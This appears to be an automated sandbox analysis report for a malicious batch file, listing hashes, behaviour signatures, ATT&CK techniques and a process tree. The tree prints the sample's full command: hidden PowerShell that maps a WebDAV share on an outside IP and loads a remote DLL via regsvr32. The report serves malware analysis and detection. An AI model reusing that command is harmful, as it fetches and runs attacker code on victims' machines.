79488aecf47e3d0722bd47a6a85042eec151c41a7dfe49e72796e5929bd565b6

Analysis

max time kernel
142s
max time network
146s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
19/07/2024, 07:40

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General

Target

2548871112584911085.bat
Size

16KB
MD5

53a1764f4250fd1671d481fe6e28f395
SHA1

a1466bd77d75acf0ac304e993d56fcfc5d38ecc1
SHA256

79488aecf47e3d0722bd47a6a85042eec151c41a7dfe49e72796e5929bd565b6
SHA512

74e0b7c85bd43502e5ed99d9b812f494d209afa919ab0cca43d9fcfce94c0fa4dccaeb0b21b3d8df432fa80ff025f042d463e35cf9035e444ade874ee76868f2
SSDEEP

384:PsdWvDIvtS6/KLJoIJXgqQDmdF/0SR0WsK:PG4hLO6Xyydx7R0WsK

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2508	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2508	powershell.exe
2508	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2508	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
332	wordpad.exe
332	wordpad.exe
332	wordpad.exe
332	wordpad.exe
332	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3224 wrote to memory of 332	3224	cmd.exe	85
PID 3224 wrote to memory of 332	3224	cmd.exe	85
PID 3224 wrote to memory of 2508	3224	cmd.exe	87
PID 3224 wrote to memory of 2508	3224	cmd.exe	87
PID 2508 wrote to memory of 3816	2508	powershell.exe	89
PID 2508 wrote to memory of 3816	2508	powershell.exe	89
PID 2508 wrote to memory of 1268	2508	powershell.exe	90
PID 2508 wrote to memory of 1268	2508	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2548871112584911085.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3224
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:332
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\310113068128184.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2508
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:3816
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\310113068128184.dll
    3⤵
    PID:1268

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:3600

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ssamjnva.bmd.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2508-0-0x000001CE666D0000-0x000001CE666F2000-memory.dmp

Filesize
136KB

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